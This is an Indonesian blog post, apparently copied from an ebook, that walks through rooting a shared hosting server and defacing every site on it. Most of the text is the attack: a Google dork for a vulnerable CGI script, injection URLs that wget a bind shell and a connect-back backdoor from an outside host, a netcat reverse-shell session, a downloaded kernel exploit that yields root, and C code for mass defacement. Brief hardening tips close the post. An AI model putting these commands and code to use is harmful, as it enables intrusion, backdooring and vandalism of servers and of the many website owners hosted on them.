Kecerobohan Webmaster, Proses Jebolnya Root Sebuah Hosting

[~]Copas by: Ebook - Kecerobohan Webmaster, Proses Jebolnya Root Sebuah Hosting

Banyak sekali tujuan sebuah proses hacking terhadap server, ada sebagian orang
melakukan hacking hanya sebatas deface, untuk tujuan carding, untuk mendapat full
akses (root priviledges) server, ada juga yang bertujuan untuk mematikan servis sistem
dan network (Denial of Services).

Proses hacking dapat dilakukan secara acak ataupun tertarget, acak dalam artian attacker melakukan proses hacking secara masal misal dengan bantuan search engine google, sedangkan tertarget maksudnya attacker melakukan hacking terhadap sebuah sistem atau server tertentu. Pada kesempatan kali ini
penulis mo sharing ma temen-temen bagaimana root priviledge server sebuah hosting
bisa di peroleh attacker dengan bantuan search engine (proses hacking acak).

Banyak sekali orang beranggapan bahwa tanggung jawab sekuritas sistem dalam sebuah
server anggaplah server hosting adalah tanggun jawab dari sysadmin sedangkan para
webmaster site hanya berpikir agar sitenya dikunjungi dan banyak sekali para webmaster
(walaupun gak semua) yang mengacuhkan sekuritas.

Upzz, inilah jalan masuk terbaik bagi attacker untuk masuk ke sistem, why..?? Tentu saja karena port 80 yang harus selalu terbuka. Lalu bagaimana root priviledge sebuah server diperoleh..?? Berikut ini detail
teknik yang sering dipakai oleh para attacker untuk memperoleh tujuan full akses.Hole
via URL yang biasa dipakai untuk memperoleh full akses terhadap sistem adalah hole
remote ekskusi seperti PHP injection dan CGI remote execution.

Sebuah assumsi bahwa dalam sebuah hosting ada salah satu webmaster yang menggunakan software vulnerable yang belum terpatch misalnya w_s3adix.cgi yang di produksi oleh Y.SAK. Berikut hole
dari w_s3adix.cgi yang ditemukan oleh blahpok a.k.a choi GSO community

The Hole:
w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|command|

Tahap pertama yang dilakukan oleh para attacker adalah menggunakan search engine
google untuk mencari website yang menginstall software w_3sadix.cgi vulnerable misal
dalam box keyword di isi dengan:

The Dork:
allinurl : w_3sadix.cgi? no=

Setelah attacker mendapatkan sasarannya inilah saat attacker mencoba-coba bagaimana dia memperoleh
full akses terhadap sistem. Untuk memperoleh root priviledges dari hole via URL seorang
attacker harus bisa memperoleh lokal shell sistem, ada dua cara yang biasa dipakai para
attacker untuk memperoleh lokal shell yaitu menggunakan bindty dan teknik connectback.

Perlu digaris bawahi bahwa hole yang digunakan untuk memperoleh shell adalah
hole remote ekskusi yang memungkinkan bagi attacker untuk mengakses command
sistem (console) via browser. Sehingga dari browser attacker bisa mendownload file ke
sistem target, mengkompile dan mengekskusinya. Download script bindty ke sistem
target, kompile dan ekskusi.

http://student.te.ugm.ac.id/~phoenix03/audit/bindedit.c => Code bindty shell by sd then
modified by KillFinger then Modified again by Ph03n1X.


Misal anda menggunakan website http://webmu.com/bind.c untuk menghosting script
bindty maka download script bindty itu ke server sistem target untuk memperoleh shell
lokal target. Tentunya anda harus mendownload script tadi ke directory yang bisa anda
tulisi misalnya /tmp tau /var/tmp. Kemudian kompile dan eksekusi:

http://www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|wget
http://webmu.com/bind.c -O /var/tmp/bind.c|

http://www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|gcc -o
/var/tmp/bind /var/tmp/bind.c;/var/tmp/bind 4000|

Lihat diatas kita menggunakan port 4000 sebagai binding port, sekarang cek apakah port
4000 terbuka, scan dengan phnxscan.c yang dibuat penulis, anda dapat mendownload
source kodenya di:

http://student.te.ugm.ac.id/~phoenix03/tutorial/phnxscan.c.

Kompile dan ekskusi script tadi menggunakan gcc dan scanlah port 4000 servet www.target.com.

myshell~>gcc -o phnxscan phnxscan.c
myshell~> ping -c 2 target.com
PING target.com (210.189.77.28): 56 data bytes
64 bytes from 210.189.77.28: icmp_seq=0 ttl=38 time=428.044 ms
64 bytes from 210.189.77.28: icmp_seq=1 ttl=38 time=428.624 ms
--- target.com ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 428.044/428.334/428.624/0.290 ms

myshell~> phnxscan -p 4000 -s 210.189.77.28
port 4000 (tcp) terbuka

Telnet server target port 4000, jika berhasil maka anda akan disuruh memasukkan
password yang default dari scriptnya changeme

myshell~> telnet 210.189.77.28 4000
Trying 210.189.77.28...
Connected to target.com (210.189.77.28).
Escape character is '^]'.

passwd changeme
changeme

=- WELCOME TO THE SERVER -=

sh-2.05b$


Cara kedua untuk menaklukan lokal shell target adalah dengan metode connect-back
menggunakan scipt buatan AresU dari 1stlink.

http://student.te.ugm.ac.id/~phoenix03/audit/backup.pl => Coded By AresU

Seperti halnya menggunakan bindty, download script connect-back ke server target ke
directory yang bisa ditulisi misalnya /tmp atau /var/tmp.

http://www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|wget
http://webmu.com/back.pl -O /var/tmp/back.pl|

Kemudian jalankan netcat di box anda dengan option port listen -l, box anda harus
mempunyai IP publik sehingga bisa di akses cross internet (misal 212.123.24.190).
Ekskusi script connect-back yang sudah di download di server target melalui browser.

myshell~> nc -l 21
www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|perl
/var/tmp/back.pl 212.123.24.190 21|

Kemudian lihat box anda.....

myshell~>nc -l 21
(c)AresU Connect-Back Backdoor Shell v1.0
1ndonesia Security Team (1st)
Linux xxxxxxxxxxx 2.4.20-8 #1 Thu Mar 13 16:42:56 EST 2003 i586 i586 i386
GNU/Linux
uid=502(apache) gid=502(apache) groups=502(apache)
cat /etc/issue
Red Hat Linux release 9 (Shrike)
Kernel \r on an \m

Weksss, di sini penulis memperoleh target server Red Hat 9 (Shrike) yang versi kernelnya
2.4.20-8, kernel ini secara default memiliki hole lokal do_brk() yang kalo gak di patch
maka privledge root bisa diperoleh. Sebuah eksploits yang biasa digunakan untuk
mengekploitasi bug ini adalah hatorihanzo.c yang bisa anda download di link berikut:

http://student.te.ugm.ac.id/~phoenix03/audit/hatorihanzo.c

Kemudian ikuti step step berikut :

wget http://student.te.ugm.ac.id/~phoenix03/audit/hatorihanzo.c

--04:00:20-- http://student.te.ugm.ac.id/%7Ephoenix03/audit/hatorihanzo.c
=> `hatorihanzo.c'
Resolving student.te.ugm.ac.id... done.
Connecting to student.te.ugm.ac.id[222.124.24.19]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,510 [text/plain]
0K ...... 100% 9.35 KB/s
04:00:24 (9.35 KB/s) - `hatorihanzo.c' saved [6510/6510]

gcc -static -o hatori hatorihanzo.c

ls -al
total 440
drwxrwxrwt 2 root root 4096 Sep 3 04:00 .
drwxr-xr-x 18 root root 4096 Sep 9 2004 ..
-rwxr-xr-x 1 root root 428460 Sep 3 04:00 hatori
-rw-r--r-- 1 root root 6510 Dec 16 2003 hatorihanzo.c

./hatori (wait a moment)

id
uid=0(root) gid=0(root)


Binggo, Sekarang anda memperoleh shell root target, yah sekarang anda adalah
mahadewa di sistem itu :P~. Lalu bagaimana masalah backdooring hmm, cari
referensinya di google, gunakan keyword sshdoor, shv dan lainnya. Sekarang penulis
hanya hendak berbagi pengalaman tentang mass defacing server target (Assumsi penulis
bahwa server yang ditaklukan adalah server hosting). Untuk mengetahui di folder mana
website-website di server itu disimpan, cari file konfigurasi apache httpd.conf, baca dan
perhatikan baik-baik dimana DocumentRoot dari website yang ada.

find / -name httpd.conf

/usr/local/apache2/conf/httpd.conf

cat /usr/local/apache2/conf/httpd.conf

Berikut ini konfigurasi virtual domain yang didapat :


ServerName xxxxxxxx.jp
ServerAdmin webmaster@xxxxxxx.jp
ServerAlias xxxxxxx.jp
ScriptAlias /cgi-bin/ /home/beso-kbkb/public_html/cgi-bin/
DocumentRoot /home/beso-kbkb/public_html
user xxxxxxxx
group xxxxxxxx
CustomLog logs/210.189.77.28:80-www.xxxxxxx.jp-access.log combined
ErrorLog logs/210.189.77.28:80-www.xxxxxxxx.jp-error.log
CustomLog /home/members/public_html/logs/ xxxxxxxx /access_log combined
#LCControlDomain kbkb.beso.jp
AliasMatch ^/~([^/]+)/(.*) /home/lcvirtualdomain/ xxxxxxxx.jp/users/$1/public_html/$2



ServerName xxxxxxxx.ne.jp
ServerAdmin webmaster@ xxxxxxxx.ne.jp
ServerAlias xxxxxxxx.ne.jp
ScriptAlias /cgi-bin/ /home/ xxxxxxxx /public_html/cgi-bin/
DocumentRoot /home/ xxxxxxxx /public_html
user xxxxxxxx
group xxxxxxxx
CustomLog logs/210.189.77.28:80-www. xxxxxxxx.ne.jp-access.log combined
ErrorLog logs/210.189.77.28:80-www. xxxxxxxx.ne.jp-error.log
CustomLog /home/members/public_html/logs/ xxxxxxxx/access_log combined
#LCControlDomain xxxxxxxx.ne.jp
AliasMatch ^/~([^/]+)/(.*) /home/lcvirtualdomain/
xxxxxxxx.ne.jp/users/$1/public_html/$2


Sekarang bisa anda lihat bahwa DocumentRoot dari masing-masing website adalah
/home/nama-website/public_html/ dan semua website terletak di subdirectory /home.
Untuk melakukan deface masal lakukan langkah-langkah berikut :

cd /home
ls > host.txt

Kemudian buat script berikut, terserah bagaimana cara anda yang jelas script ini beserta
hasil ekskusinya harus di simpan di directory /home.

#include "stdio.h"
/* Coded By Ph03n1X
king_purba@yahoo.co.uk
student.te.ugm.ac.id/~phoenix03
*/
main()
{
FILE *ax;
char aa[1000],bb[1000];
if((ax=fopen("host.txt","r"))==NULL)
{
printf("Gagal\n");
exit(0);
}
while(fgets(aa,sizeof(aa),ax))
{
aa[strlen(aa)-1]='\0';
snprintf(bb,sizeof(bb),"echo hack by Ph03n1X > %s/public_html/deface.txt",aa);
system(bb);
}s
ystem("find /home -name deface.txt > result.txt");
}

Simpan script diatas sebagai file berekstensi .c misal deface.c, kompile dan ekskusi di
folder /home.

gcc -o deface deface.c
./deface

Sekarang lihat hasil deface masal anda di file result.txt yang dihasilkan dari ekskusi script
diatas.

Setelah bisa menjebol sistem, tentu tidaklah lengkap kalo tidak bisa menambalnya. Lalu
bagaimanakah seorang sysadmin seharusnya untuk meminimalkan kejadian seperti ini.
lihatlah bahwa hole awal sistem adalah hole user dalam hal ini webmaster salah satu
website yang di hosting di server, maka tidaklah mungkin untuk bisa memantau semua
user apalagi kalo jumlahnya cukup banyak. Berikut beberapa tips untuk meminimalkan
kejadian seperti ini.


1. Sering-seringlah check directory /tmp dan /var/tmp karena ini adalah directory
favorit para intruder.

2. Sering-seringlah melakukan checking terhadap logs sistem seperti access_logs
apache, /var/log/authlog, /var/logs/adduser dan lain-lainnya

3. Buatlah directory /tmp dalam partisi hardisk terpisah, kemudian hapus directory
/var/tmp default dan ganti dengan ln -s /tmp /var/tmp

Berikan option noexec dan nosuid di partis /tmp melalui /etc/fstab misalnya :
/dev/wd0h /tmp ffs rw,noexec,noatime,nodev,nosuid 1 2

4. Kemudian jika anda menggunakan script server side, disable semua fungsi yang
digunakan untuk mengakses command system. Misalnya untuk PHP disable
fungsi-fungsi berikut dari php.ini

disable_functions = escapeshellarg, escapeshellcmd, exec, passthru, proc_close,
proc_get_status, proc_nice, proc_open,proc_terminate, shell_exec, system

5. Gunakan firewall dengan default deny terutama untuk semua koneksi masuk dan
forward.

6. Selalu melakukan patching jika hole baru ditemukan, untuk ini dituntut kerja
keras admin dalam mencari informasi.

Mudah-mudahan tulisan ini bermanfaat walaupun singkat :P~

No comments:

Post a Comment

komem yang baik dan bijak. STOP spam